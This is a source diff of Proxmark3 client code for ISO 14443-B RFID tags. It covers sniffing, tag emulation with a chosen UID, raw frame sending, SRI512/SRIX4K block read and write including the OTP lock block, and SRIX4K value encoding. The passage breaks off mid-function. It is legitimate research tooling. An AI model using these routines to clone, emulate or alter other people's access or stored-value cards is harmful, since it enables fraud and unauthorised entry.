PrintAndLogEx(NORMAL, "Buffer accessible from command 'hf list 14b'"); + PrintAndLogEx(NORMAL, "Usage: hf 14b sniff [h]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " hf 14b sniff"); + return 0; +} +int usage_hf_14b_sim(void){ + PrintAndLogEx(NORMAL, "Emulating ISO/IEC 14443 type B tag with 4 UID / PUPI"); + PrintAndLogEx(NORMAL, "Usage: hf 14b sim [h] u "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " u 4byte UID/PUPI"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " hf 14b sim"); + PrintAndLogEx(NORMAL, " hf 14b sim u 11223344"); + return 0; +} +int usage_hf_14b_read_srx(void){ + PrintAndLogEx(NORMAL, "Usage: hf 14b sriread [h] <1|2>"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " <1|2> 1 = SRIX4K , 2 = SRI512"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " hf 14b sriread 1"); + PrintAndLogEx(NORMAL, " hf 14b sriread 2"); + return 0; +} +int usage_hf_14b_write_srx(void){ + PrintAndLogEx(NORMAL, "Usage: hf 14b [h] sriwrite <1|2> "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " <1|2> 1 = SRIX4K , 2 = SRI512"); + PrintAndLogEx(NORMAL, " BLOCK number depends on tag, special block == FF"); + PrintAndLogEx(NORMAL, " hex bytes of data to be written"); + PrintAndLogEx(NORMAL, "Example:"); + PrintAndLogEx(NORMAL, " hf 14b sriwrite 1 7F 11223344"); + PrintAndLogEx(NORMAL, " hf 14b sriwrite 1 FF 11223344"); + PrintAndLogEx(NORMAL, " hf 14b sriwrite 2 15 11223344"); + PrintAndLogEx(NORMAL, " hf 14b sriwrite 2 FF 11223344"); + return 0; } -int CmdHF14BList(const char *Cmd) -{ - uint8_t got[960]; - GetFromBigBuf(got,sizeof(got),0); - WaitForResponse(CMD_ACK,NULL); +static void switch_on_field_14b(void) { + UsbCommand c = {CMD_ISO_14443B_COMMAND, {ISO14B_CONNECT, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); +} - PrintAndLog("recorded activity:"); - PrintAndLog(" time :rssi: who bytes"); - PrintAndLog("---------+----+----+-----------"); +static int switch_off_field_14b(void) { + UsbCommand c = {CMD_ISO_14443B_COMMAND, {ISO14B_DISCONNECT, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} - int i = 0; - int prev = -1; +int CmdHF14BList(const char *Cmd) { + CmdTraceList("14b"); + return 0; +} - for(;;) { - if(i >= 900) { - break; - } - - bool isResponse; - int timestamp = *((uint32_t *)(got+i)); - if(timestamp & 0x80000000) { - timestamp &= 0x7fffffff; - isResponse = 1; - } else { - isResponse = 0; - } - int metric = *((uint32_t *)(got+i+4)); - - int len = got[i+8]; - - if(len > 100) { - break; - } - if(i + len >= 900) { - break; - } - - uint8_t *frame = (got+i+9); - - // Break and stick with current result if buffer was not completely full - if (frame[0] == 0x44 && frame[1] == 0x44 && frame[2] == 0x44 && frame[3] == 0x44) break; +int CmdHF14BSim(const char *Cmd) { + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_hf_14b_sim(); - char line[1000] = ""; - int j; - for(j = 0; j < len; j++) { - sprintf(line+(j*3), "%02x ", frame[j]); - } - - char *crc; - if(len > 2) { - uint8_t b1, b2; - ComputeCrc14443(CRC_14443_B, frame, len-2, &b1, &b2); - if(b1 != frame[len-2] || b2 != frame[len-1]) { - crc = "**FAIL CRC**"; - } else { - crc = ""; - } - } else { - crc = "(SHORT)"; - } - - char metricString[100]; - if(isResponse) { - sprintf(metricString, "%3d", metric); - } else { - strcpy(metricString, " "); - } - - PrintAndLog(" +%7d: %s: %s %s %s", - (prev < 0 ? 0 : timestamp - prev), - metricString, - (isResponse ? "TAG" : " "), line, crc); - - prev = timestamp; - i += (len + 9); - } - return 0; + uint32_t pupi = 0; + if (cmdp == 'u' || cmdp == 'U') { + pupi = param_get32ex(Cmd, 1, 0, 16); + } + + UsbCommand c = {CMD_SIMULATE_TAG_ISO_14443B, {pupi, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; } -int CmdHF14BRead(const char *Cmd) -{ - UsbCommand c = {CMD_ACQUIRE_RAW_ADC_SAMPLES_ISO_14443, {strtol(Cmd, NULL, 0), 0, 0}}; - SendCommand(&c); - return 0; +int CmdHF14BSniff(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_hf_14b_sniff(); + + UsbCommand c = {CMD_SNOOP_ISO_14443B, {0, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; } -int CmdHF14Sim(const char *Cmd) -{ - UsbCommand c={CMD_SIMULATE_TAG_ISO_14443}; - SendCommand(&c); - return 0; -} - -int CmdHFSimlisten(const char *Cmd) -{ - UsbCommand c = {CMD_SIMULATE_TAG_HF_LISTEN}; - SendCommand(&c); - return 0; -} - -int CmdHF14BSnoop(const char *Cmd) -{ - UsbCommand c = {CMD_SNOOP_ISO_14443}; - SendCommand(&c); - return 0; -} - -/* New command to read the contents of a SRI512 tag - * SRI512 tags are ISO14443-B modulated memory tags, - * this command just dumps the contents of the memory - */ -int CmdSri512Read(const char *Cmd) -{ - UsbCommand c = {CMD_READ_SRI512_TAG, {strtol(Cmd, NULL, 0), 0, 0}}; - SendCommand(&c); - return 0; -} - -/* New command to read the contents of a SRIX4K tag - * SRIX4K tags are ISO14443-B modulated memory tags, - * this command just dumps the contents of the memory/ - */ -int CmdSrix4kRead(const char *Cmd) -{ - UsbCommand c = {CMD_READ_SRIX4K_TAG, {strtol(Cmd, NULL, 0), 0, 0}}; - SendCommand(&c); - return 0; -} - -int CmdHF14BCmdRaw (const char *cmd) { - UsbCommand resp; - uint8_t *recv; - UsbCommand c = {CMD_ISO_14443B_COMMAND, {0, 0, 0}}; // len,recv? - uint8_t reply=1; - uint8_t crc=0; - uint8_t power=0; - char buf[5]=""; - int i=0; - uint8_t data[100]; - unsigned int datalen=0, temp; - char *hexout; - - if (strlen(cmd)<3) { - PrintAndLog("Usage: hf 14b raw [-r] [-c] [-p] <0A 0B 0C ... hex>"); - PrintAndLog(" -r do not read response"); - PrintAndLog(" -c calculate and append CRC"); - PrintAndLog(" -p leave the field on after receive"); - return 0; - } +int CmdHF14BCmdRaw (const char *Cmd) { + bool reply = true, power = false, select = false; + char buf[5] = ""; + int i = 0; + uint8_t data[USB_CMD_DATA_SIZE] = {0x00}; + uint16_t datalen = 0; + uint32_t flags = ISO14B_CONNECT; + uint32_t temp = 0; + + if ( strlen(Cmd) < 3 ) return usage_hf_14b_raw(); // strip - while (*cmd==' ' || *cmd=='\t') cmd++; + while (*Cmd==' ' || *Cmd=='\t') ++Cmd; - while (cmd[i]!='\0') { - if (cmd[i]==' ' || cmd[i]=='\t') { i++; continue; } - if (cmd[i]=='-') { - switch (cmd[i+1]) { + while (Cmd[i]!='\0') { + if (Cmd[i]==' ' || Cmd[i]=='\t') { ++i; continue; } + if (Cmd[i]=='-') { + switch (Cmd[i+1]) { + case 'h': + case 'H': + return usage_hf_14b_raw(); case 'r': case 'R': - reply=0; + reply = false; break; case 'c': case 'C': - crc=1; + flags |= ISO14B_APPEND_CRC; break; case 'p': case 'P': - power=1; + power = true; break; + case 's': + case 'S': + select = true; + if (Cmd[i+2]=='s' || Cmd[i+2]=='S') { + flags |= ISO14B_SELECT_SR; + ++i; + } else { + flags |= ISO14B_SELECT_STD; + } + break; default: - PrintAndLog("Invalid option"); - return 0; + return usage_hf_14b_raw(); } i+=2; continue; } - if ((cmd[i]>='0' && cmd[i]<='9') || - (cmd[i]>='a' && cmd[i]<='f') || - (cmd[i]>='A' && cmd[i]<='F') ) { + if ((Cmd[i]>='0' && Cmd[i]<='9') || + (Cmd[i]>='a' && Cmd[i]<='f') || + (Cmd[i]>='A' && Cmd[i]<='F') ) { buf[strlen(buf)+1]=0; - buf[strlen(buf)]=cmd[i]; + buf[strlen(buf)]=Cmd[i]; i++; if (strlen(buf)>=2) { sscanf(buf,"%x",&temp); - data[datalen]=(uint8_t)(temp & 0xff); - datalen++; + data[datalen++] = (uint8_t)(temp & 0xff); *buf=0; + memset(buf, 0x00, sizeof(buf)); } continue; } - PrintAndLog("Invalid char on input"); - return 0; + PrintAndLogEx(WARNING, "unknown parameter '%c'\n", param_getchar(Cmd, i)); + return 0; } - if (datalen == 0) - { - PrintAndLog("Missing data input"); - return 0; - } - if(crc) - { - uint8_t first, second; - ComputeCrc14443(CRC_14443_B, data, datalen, &first, &second); - data[datalen++] = first; - data[datalen++] = second; - } - - c.arg[0] = datalen; - c.arg[1] = reply; - c.arg[2] = power; - memcpy(c.d.asBytes,data,datalen); - - SendCommand(&c); - - if (reply) { - if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) { - recv = resp.d.asBytes; - PrintAndLog("received %i octets",resp.arg[0]); - if(!resp.arg[0]) - return 0; - hexout = (char *)malloc(resp.arg[0] * 3 + 1); - if (hexout != NULL) { - uint8_t first, second; - for (int i = 0; i < resp.arg[0]; i++) { // data in hex - sprintf(&hexout[i * 3], "%02X ", recv[i]); - } - PrintAndLog("%s", hexout); - free(hexout); - ComputeCrc14443(CRC_14443_B, recv, resp.arg[0]-2, &first, &second); - if(recv[resp.arg[0]-2]==first && recv[resp.arg[0]-1]==second) { - PrintAndLog("CRC OK"); - } else { - PrintAndLog("CRC failed"); - } - } else { - PrintAndLog("malloc failed your client has low memory?"); - } - } else { - PrintAndLog("timeout while waiting for reply."); - } - } // if reply - return 0; + + if (!power) + flags |= ISO14B_DISCONNECT; + + if (datalen > 0) + flags |= ISO14B_RAW; + + // Max buffer is USB_CMD_DATA_SIZE + datalen = (datalen > USB_CMD_DATA_SIZE) ? USB_CMD_DATA_SIZE : datalen; + + UsbCommand c = {CMD_ISO_14443B_COMMAND, {flags, datalen, 0}}; + memcpy(c.d.asBytes, data, datalen); + clearCommandBuffer(); + SendCommand(&c); + + if (!reply) return 1; + + bool success = true; + // get back iso14b_card_select_t, don't print it. + if (select) + success = waitCmd14b(false); + + // get back response from the raw bytes you sent. + if (success && datalen>0) waitCmd14b(true); + + return 1; } -static command_t CommandTable[] = -{ - {"help", CmdHelp, 1, "This help"}, - {"demod", CmdHF14BDemod, 1, "Demodulate ISO14443 Type B from tag"}, - {"list", CmdHF14BList, 0, "List ISO 14443 history"}, - {"read", CmdHF14BRead, 0, "Read HF tag (ISO 14443)"}, - {"sim", CmdHF14Sim, 0, "Fake ISO 14443 tag"}, - {"simlisten", CmdHFSimlisten, 0, "Get HF samples as fake tag"}, - {"snoop", CmdHF14BSnoop, 0, "Eavesdrop ISO 14443"}, - {"sri512read", CmdSri512Read, 0, "Read contents of a SRI512 tag"}, - {"srix4kread", CmdSrix4kRead, 0, "Read contents of a SRIX4K tag"}, - {"raw", CmdHF14BCmdRaw, 0, "Send raw hex data to tag"}, - {NULL, NULL, 0, NULL} +// print full atqb info +// bytes +// 0,1,2,3 = application data +// 4 = bit rate capacity +// 5 = max frame size / -4 info +// 6 = FWI / Coding options +static void print_atqb_resp(uint8_t *data, uint8_t cid){ + //PrintAndLogEx(NORMAL, " UID: %s", sprint_hex(data+1,4)); + PrintAndLogEx(NORMAL, " App Data: %s", sprint_hex(data,4)); + PrintAndLogEx(NORMAL, " Protocol: %s", sprint_hex(data+4,3)); + uint8_t BitRate = data[4]; + if (!BitRate) PrintAndLogEx(NORMAL, " Bit Rate: 106 kbit/s only PICC <-> PCD"); + if (BitRate & 0x10) PrintAndLogEx(NORMAL, " Bit Rate: 212 kbit/s PICC -> PCD supported"); + if (BitRate & 0x20) PrintAndLogEx(NORMAL, " Bit Rate: 424 kbit/s PICC -> PCD supported"); + if (BitRate & 0x40) PrintAndLogEx(NORMAL, " Bit Rate: 847 kbit/s PICC -> PCD supported"); + if (BitRate & 0x01) PrintAndLogEx(NORMAL, " Bit Rate: 212 kbit/s PICC <- PCD supported"); + if (BitRate & 0x02) PrintAndLogEx(NORMAL, " Bit Rate: 424 kbit/s PICC <- PCD supported"); + if (BitRate & 0x04) PrintAndLogEx(NORMAL, " Bit Rate: 847 kbit/s PICC <- PCD supported"); + if (BitRate & 0x80) PrintAndLogEx(NORMAL, " Same bit rate <-> required"); + + uint16_t maxFrame = data[5] >> 4; + if (maxFrame < 5) maxFrame = 8 * maxFrame + 16; + else if (maxFrame == 5) maxFrame = 64; + else if (maxFrame == 6) maxFrame = 96; + else if (maxFrame == 7) maxFrame = 128; + else if (maxFrame == 8) maxFrame = 256; + else maxFrame = 257; + + PrintAndLogEx(NORMAL, "Max Frame Size: %u%s bytes", maxFrame, (maxFrame == 257) ? "+ RFU" : ""); + + uint8_t protocolT = data[5] & 0xF; + PrintAndLogEx(NORMAL, " Protocol Type: Protocol is %scompliant with ISO/IEC 14443-4",(protocolT) ? "" : "not " ); + + uint8_t fwt = data[6]>>4; + if ( fwt < 16 ){ + uint32_t etus = (32 << fwt); + uint32_t fwt_time = (302 << fwt); + PrintAndLogEx(NORMAL, "Frame Wait Integer: %u - %u ETUs | %u us", fwt, etus, fwt_time); + } else { + PrintAndLogEx(NORMAL, "Frame Wait Integer: %u - RFU", fwt); + } + + PrintAndLogEx(NORMAL, " App Data Code: Application is %s",(data[6]&4) ? "Standard" : "Proprietary"); + PrintAndLogEx(NORMAL, " Frame Options: NAD is %ssupported",(data[6]&2) ? "" : "not "); + PrintAndLogEx(NORMAL, " Frame Options: CID is %ssupported",(data[6]&1) ? "" : "not "); + PrintAndLogEx(NORMAL, "Tag :"); + PrintAndLogEx(NORMAL, " Max Buf Length: %u (MBLI) %s", cid>>4, (cid & 0xF0) ? "" : "chained frames not supported"); + PrintAndLogEx(NORMAL, " CID : %u", cid & 0x0f); + return; +} + +// get SRx chip model (from UID) // from ST Microelectronics +char *get_ST_Chip_Model(uint8_t data){ + static char model[20]; + char *retStr = model; + memset(model,0, sizeof(model)); + + switch (data) { + case 0x0: sprintf(retStr, "SRIX4K (Special)"); break; + case 0x2: sprintf(retStr, "SR176"); break; + case 0x3: sprintf(retStr, "SRIX4K"); break; + case 0x4: sprintf(retStr, "SRIX512"); break; + case 0x6: sprintf(retStr, "SRI512"); break; + case 0x7: sprintf(retStr, "SRI4K"); break; + case 0xC: sprintf(retStr, "SRT512"); break; + default : sprintf(retStr, "Unknown"); break; + } + return retStr; +} + +// REMAKE: +int print_ST_Lock_info(uint8_t model){ + + // PrintAndLogEx(NORMAL, "Chip Write Protection Bits:"); + // // now interpret the data + // switch (model){ + // case 0x0: //fall through (SRIX4K special) + // case 0x3: //fall through (SRIx4K) + // case 0x7: // (SRI4K) + // //only need data[3] + // blk1 = 9; + // PrintAndLogEx(NORMAL, " raw: %s", sprint_bin(data+3, 1)); + // PrintAndLogEx(NORMAL, " 07/08:%slocked", (data[3] & 1) ? " not " : " " ); + // for (uint8_t i = 1; i<8; i++){ + // PrintAndLogEx(NORMAL, " %02u:%slocked", blk1, (data[3] & (1 << i)) ? " not " : " " ); + // blk1++; + // } + // break; + // case 0x4: //fall through (SRIX512) + // case 0x6: //fall through (SRI512) + // case 0xC: // (SRT512) + // //need data[2] and data[3] + // blk1 = 0; + // PrintAndLogEx(NORMAL, " raw: %s", sprint_bin(data+2, 2)); + // for (uint8_t b=2; b<4; b++){ + // for (uint8_t i=0; i<8; i++){ + // PrintAndLogEx(NORMAL, " %02u:%slocked", blk1, (data[b] & (1 << i)) ? " not " : " " ); + // blk1++; + // } + // } + // break; + // case 0x2: // (SR176) + // //need data[2] + // blk1 = 0; + // PrintAndLogEx(NORMAL, " raw: %s", sprint_bin(data+2, 1)); + // for (uint8_t i = 0; i<8; i++){ + // PrintAndLogEx(NORMAL, " %02u/%02u:%slocked", blk1, blk1+1, (data[2] & (1 << i)) ? " " : " not " ); + // blk1+=2; + // } + // break; + // default: + // return rawClose(); + // } + return 1; +} + +// print UID info from SRx chips (ST Microelectronics) +static void print_st_general_info(uint8_t *data, uint8_t len){ + //uid = first 8 bytes in data + PrintAndLogEx(NORMAL, " UID: %s", sprint_hex(SwapEndian64(data,8,8), len)); + PrintAndLogEx(NORMAL, " MFG: %02X, %s", data[6], getTagInfo(data[6])); + PrintAndLogEx(NORMAL, "Chip: %02X, %s", data[5]>>2, get_ST_Chip_Model(data[5]>>2)); + return; +} + +//05 00 00 = find one tag in field +//1d xx xx xx xx 00 08 01 00 = attrib xx=UID (resp 10 [f9 e0]) +//a3 = ? (resp 03 [e2 c2]) +//02 = ? (resp 02 [6a d3]) +// 022b (resp 02 67 00 [29 5b]) +// 0200a40400 (resp 02 67 00 [29 5b]) +// 0200a4040c07a0000002480300 (resp 02 67 00 [29 5b]) +// 0200a4040c07a0000002480200 (resp 02 67 00 [29 5b]) +// 0200a4040006a0000000010100 (resp 02 6a 82 [4b 4c]) +// 0200a4040c09d27600002545500200 (resp 02 67 00 [29 5b]) +// 0200a404000cd2760001354b414e4d30310000 (resp 02 6a 82 [4b 4c]) +// 0200a404000ca000000063504b43532d313500 (resp 02 6a 82 [4b 4c]) +// 0200a4040010a000000018300301000000000000000000 (resp 02 6a 82 [4b 4c]) +//03 = ? (resp 03 [e3 c2]) +//c2 = ? (resp c2 [66 15]) +//b2 = ? (resp a3 [e9 67]) +//a2 = ? (resp 02 [6a d3]) + +// 14b get and print Full Info (as much as we know) +bool HF14B_Std_Info(bool verbose){ + //add more info here + return false; +} + +// SRx get and print full info (needs more info...) +bool HF14B_ST_Info(bool verbose){ + + UsbCommand c = {CMD_ISO_14443B_COMMAND, {ISO14B_CONNECT | ISO14B_SELECT_SR | ISO14B_DISCONNECT, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + + if (!WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { + if (verbose) PrintAndLogEx(WARNING, "command execution timeout"); + return false; + } + + iso14b_card_select_t card; + memcpy(&card, (iso14b_card_select_t *)resp.d.asBytes, sizeof(iso14b_card_select_t)); + + uint64_t status = resp.arg[0]; + if ( status > 0 ) return switch_off_field_14b(); + + //add locking bit information here. uint8_t data[16] = {0x00}; + // uint8_t datalen = 2; + // uint8_t resplen; + // uint8_t blk1; + // data[0] = 0x08; + + // + // if (model == 0x2) { //SR176 has special command: + // data[1] = 0xf; + // resplen = 4; + // } else { + // data[1] = 0xff; + // resplen = 6; + // } + + // //std read cmd + // if (HF14BCmdRaw(true, true, data, &datalen, false)==0) + // return rawClose(); + + // if (datalen != resplen || !crc) return rawClose(); + //print_ST_Lock_info(data[5]>>2); + switch_off_field_14b(); + return true; +} + +// get and print all info known about any known 14b tag +bool HF14BInfo(bool verbose){ + + // try std 14b (atqb) + if (HF14B_Std_Info(verbose)) return true; + + // try st 14b + if (HF14B_ST_Info(verbose)) return true; + + // try unknown 14b read commands (to be identified later) + // could be read of calypso, CEPAS, moneo, or pico pass. + if (verbose) PrintAndLogEx(FAILED, "no 14443-B tag found"); + return false; +} + +// menu command to get and print all info known about any known 14b tag +int CmdHF14Binfo(const char *Cmd){ + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_hf_14b_info(); + + bool verbose = !((cmdp == 's') || (cmdp == 'S')); + return HF14BInfo(verbose); +} + +bool HF14B_ST_Reader(bool verbose){ + + bool isSuccess = false; + + switch_on_field_14b(); + + // SRx get and print general info about SRx chip from UID + UsbCommand c = {CMD_ISO_14443B_COMMAND, {ISO14B_SELECT_SR, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { + if (verbose) PrintAndLogEx(WARNING, "command execution timeout"); + switch_off_field_14b(); + return false; + } + + iso14b_card_select_t card; + memcpy(&card, (iso14b_card_select_t *)resp.d.asBytes, sizeof(iso14b_card_select_t)); + + uint64_t status = resp.arg[0]; + + switch( status ){ + case 0: + print_st_general_info(card.uid, card.uidlen); + isSuccess = true; + break; + case 1: + if (verbose) PrintAndLogEx(FAILED, "ISO 14443-3 random chip id fail"); + break; + case 2: + if (verbose) PrintAndLogEx(FAILED, "ISO 14443-3 ATTRIB fail"); + break; + case 3: + if (verbose) PrintAndLogEx(FAILED, "ISO 14443-3 CRC fail"); + break; + default: + if (verbose) PrintAndLogEx(FAILED, "ISO 14443-b card select SRx failed"); + break; + } + + switch_off_field_14b(); + return isSuccess; +} + +bool HF14B_Std_Reader(bool verbose){ + + bool isSuccess = false; + + // 14b get and print UID only (general info) + UsbCommand c = {CMD_ISO_14443B_COMMAND, {ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_DISCONNECT, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + + if (!WaitForResponseTimeout(CMD_ACK, &resp, TIMEOUT)) { + if (verbose) PrintAndLogEx(WARNING, "command execution timeout"); + switch_off_field_14b(); + return false; + } + + iso14b_card_select_t card; + memcpy(&card, (iso14b_card_select_t *)resp.d.asBytes, sizeof(iso14b_card_select_t)); + + uint64_t status = resp.arg[0]; + + switch( status ){ + case 0: + PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(NORMAL, " ATQB : %s", sprint_hex(card.atqb, sizeof(card.atqb))); + PrintAndLogEx(NORMAL, " CHIPID : %02X", card.chipid); + print_atqb_resp(card.atqb, card.cid); + isSuccess = true; + break; + case 2: + if (verbose) PrintAndLogEx(FAILED, "ISO 14443-3 ATTRIB fail"); + break; + case 3: + if (verbose) PrintAndLogEx(FAILED, "ISO 14443-3 CRC fail"); + break; + default: + if (verbose) PrintAndLogEx(FAILED, "ISO 14443-b card select failed"); + break; + } + + switch_off_field_14b(); + return isSuccess; +} + +// test for other 14b type tags (mimic another reader - don't have tags to identify) +bool HF14B_Other_Reader(){ + + // uint8_t data[] = {0x00, 0x0b, 0x3f, 0x80}; + // uint8_t datalen = 4; + + // // 14b get and print UID only (general info) + // uint32_t flags = ISO14B_CONNECT | ISO14B_SELECT_STD | ISO14B_RAW | ISO14B_APPEND_CRC; + + // UsbCommand c = {CMD_ISO_14443B_COMMAND, {flags, datalen, 0}}; + // memcpy(c.d.asBytes, data, datalen); + + // clearCommandBuffer(); + // SendCommand(&c); + // UsbCommand resp; + // WaitForResponse(CMD_ACK,&resp); + + // if (datalen > 2 ) { + // PrintAndLogEx(NORMAL, "\n14443-3b tag found:"); + // PrintAndLogEx(NORMAL, "unknown tag type answered to a 0x000b3f80 command ans:"); + // //PrintAndLogEx(NORMAL, "%s", sprint_hex(data, datalen)); + // rawclose(); + // return true; + // } + + // c.arg1 = 1; + // c.d.asBytes[0] = ISO14443B_AUTHENTICATE; + // clearCommandBuffer(); + // SendCommand(&c); + // UsbCommand resp; + // WaitForResponse(CMD_ACK, &resp); + + // if (datalen > 0) { + // PrintAndLogEx(NORMAL, "\n14443-3b tag found:"); + // PrintAndLogEx(NORMAL, "Unknown tag type answered to a 0x0A command ans:"); + // // PrintAndLogEx(NORMAL, "%s", sprint_hex(data, datalen)); + // rawClose(); + // return true; + // } + + // c.arg1 = 1; + // c.d.asBytes[0] = ISO14443B_RESET; + // clearCommandBuffer(); + // SendCommand(&c); + // UsbCommand resp; + // WaitForResponse(CMD_ACK, &resp); + + // if (datalen > 0) { + // PrintAndLogEx(NORMAL, "\n14443-3b tag found:"); + // PrintAndLogEx(NORMAL, "Unknown tag type answered to a 0x0C command ans:"); + // PrintAndLogEx(NORMAL, "%s", sprint_hex(data, datalen)); + // rawClose(); + // return true; + // } + + // rawClose(); + return false; +} + +// get and print general info about all known 14b chips +bool HF14BReader(bool verbose){ + + // try std 14b (atqb) + if (HF14B_Std_Reader(verbose)) return true; + + // try ST Microelectronics 14b + if (HF14B_ST_Reader(verbose)) return true; + + // try unknown 14b read commands (to be identified later) + // could be read of calypso, CEPAS, moneo, or pico pass. + if (HF14B_Other_Reader()) return true; + + if (verbose) PrintAndLogEx(FAILED, "no 14443-B tag found"); + return false; +} + +// menu command to get and print general info about all known 14b chips +int CmdHF14BReader(const char *Cmd){ + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_hf_14b_reader(); + + bool verbose = !((cmdp == 's') || (cmdp == 'S')); + return HF14BReader(verbose); +} + +/* New command to read the contents of a SRI512|SRIX4K tag + * SRI* tags are ISO14443-B modulated memory tags, + * this command just dumps the contents of the memory/ + */ +int CmdHF14BReadSri(const char *Cmd){ + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) < 1 || cmdp == 'h' || cmdp == 'H') return usage_hf_14b_read_srx(); + + uint8_t tagtype = param_get8(Cmd, 0); + uint8_t blocks = (tagtype == 1) ? 0x7F : 0x0F; + + UsbCommand c = {CMD_READ_SRI_TAG, {blocks, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} +// New command to write a SRI512/SRIX4K tag. +int CmdHF14BWriteSri(const char *Cmd){ +/* + * For SRIX4K blocks 00 - 7F + * hf 14b raw -c -p 09 $srix4kwblock $srix4kwdata + * + * For SR512 blocks 00 - 0F + * hf 14b raw -c -p 09 $sr512wblock $sr512wdata + * + * Special block FF = otp_lock_reg block. + * Data len 4 bytes- + */ + char cmdp = param_getchar(Cmd, 0); + uint8_t blockno = -1; + uint8_t data[4] = {0x00}; + bool isSrix4k = true; + char str[30]; + memset(str, 0x00, sizeof(str)); + + if (strlen(Cmd) < 1 || cmdp == 'h' || cmdp == 'H') return usage_hf_14b_write_srx(); + + if ( cmdp == '2' ) + isSrix4k = false; + + //blockno = param_get8(Cmd, 1); + + if ( param_gethex(Cmd, 1, &blockno, 2) ) { + PrintAndLogEx(WARNING, "block number must include 2 HEX symbols"); + return 0; + } + + if ( isSrix4k ){ + if ( blockno > 0x7f && blockno != 0xff ){ + PrintAndLogEx(FAILED, "block number out of range"); + return 0; + } + } else { + if ( blockno > 0x0f && blockno != 0xff ){ + PrintAndLogEx(FAILED, "block number out of range"); + return 0; + } + } + + if (param_gethex(Cmd, 2, data, 8)) { + PrintAndLogEx(WARNING, "data must include 8 HEX symbols"); + return 0; + } + + if ( blockno == 0xff) { + PrintAndLogEx(SUCCESS, "[%s] Write special block %02X [ %s ]", + (isSrix4k) ? "SRIX4K":"SRI512", + blockno, + sprint_hex(data,4) + ); + } else { + PrintAndLogEx(SUCCESS, "[%s] Write block %02X [ %s ]", + (isSrix4k) ? "SRIX4K":"SRI512", + blockno, + sprint_hex(data,4) + ); + } + + sprintf(str, "-ss -c %02x %02x %02x %02x %02x %02x", ISO14443B_WRITE_BLK, blockno, data[0], data[1], data[2], data[3]); + CmdHF14BCmdRaw(str); + return 0; +} + +uint32_t srix4kEncode(uint32_t value) { +/* +// vv = value +// pp = position +// vv vv vv pp +4 bytes : 00 1A 20 01 +*/ + // only the lower crumbs. + uint8_t block = (value & 0xFF); + uint8_t i = 0; + uint8_t valuebytes[] = {0,0,0}; + + num_to_bytes(value, 3, valuebytes); + + // Scrambled part + // Crumb swapping of value. + uint8_t temp[] = {0,0}; + temp[0] = (CRUMB(value, 22) << 4 | CRUMB(value, 14 ) << 2 | CRUMB(value, 6)) << 4; + temp[0] |= CRUMB(value, 20) << 4 | CRUMB(value, 12 ) << 2 | CRUMB(value, 4); + temp[1] = (CRUMB(value, 18) << 4 | CRUMB(value, 10 ) << 2 | CRUMB(value, 2)) << 4; + temp[1] |= CRUMB(value, 16) << 4 | CRUMB(value, 8 ) << 2 | CRUMB(value, 0); + + // chksum part + uint32_t chksum = 0xFF - block; + + // chksum is reduced by each nibbles of value. + for (i = 0; i < 3; ++i){ + chksum -= NIBBLE_HIGH(valuebytes[i]); + chksum -= NIBBLE_LOW(valuebytes[i]); + } + + // base4 conversion and left shift twice + i = 3; + uint8_t base4[] = {0,0,0,0}; + while( chksum !=0 ){ + base4[i--] = (chksum % 4 << 2); + chksum /= 4; + } + + // merge scambled and chksum parts + uint32_t encvalue = + ( NIBBLE_LOW ( base4[0]) << 28 ) | + ( NIBBLE_HIGH( temp[0]) << 24 ) | + + ( NIBBLE_LOW ( base4[1]) << 20 ) | + ( NIBBLE_LOW ( temp[0]) << 16 ) | + + ( NIBBLE_LOW ( base4[2]) << 12 ) | + ( NIBBLE_HIGH( temp[1]) << 8 ) | + + ( NIBBLE_LOW ( base4[3]) << 4 ) | + NIBBLE_LOW ( temp[1] ); + + PrintAndLogEx(NORMAL, "ICE encoded | %08X -> %08X", value, encvalue); + return encvalue; +} +uint32_t srix4kDecode(uint32_t value) { + switch(value) { + case 0xC04F42C5: return 0x003139; + case 0xC1484807: return 0x002943; + case 0xC0C60848: return 0x001A20; + } + return 0; +} +uint32_t srix4kDecodeCounter(uint32_t num) { + uint32_t value = ~num; + ++value; + return value; +} + +uint32_t srix4kGetMagicbytes( uint64_t uid, uint32_t block6, uint32_t block18, uint32_t block19 ){ +#define MASK 0xFFFFFFFF; + uint32_t uid32 = uid & MASK; + uint32_t counter = srix4kDecodeCounter(block6); + uint32_t decodedBlock18 = srix4kDecode(block18); + uint32_t decodedBlock19 = srix4kDecode(block19); + uint32_t doubleBlock = (decodedBlock18 << 16 | decodedBlock19) + 1; + + uint32_t result = (uid32 * doubleBlock * counter) & MASK; + PrintAndLogEx(SUCCESS, "Magic bytes | %08X", result); + return result; +} +int srix4kValid(const char *Cmd){ 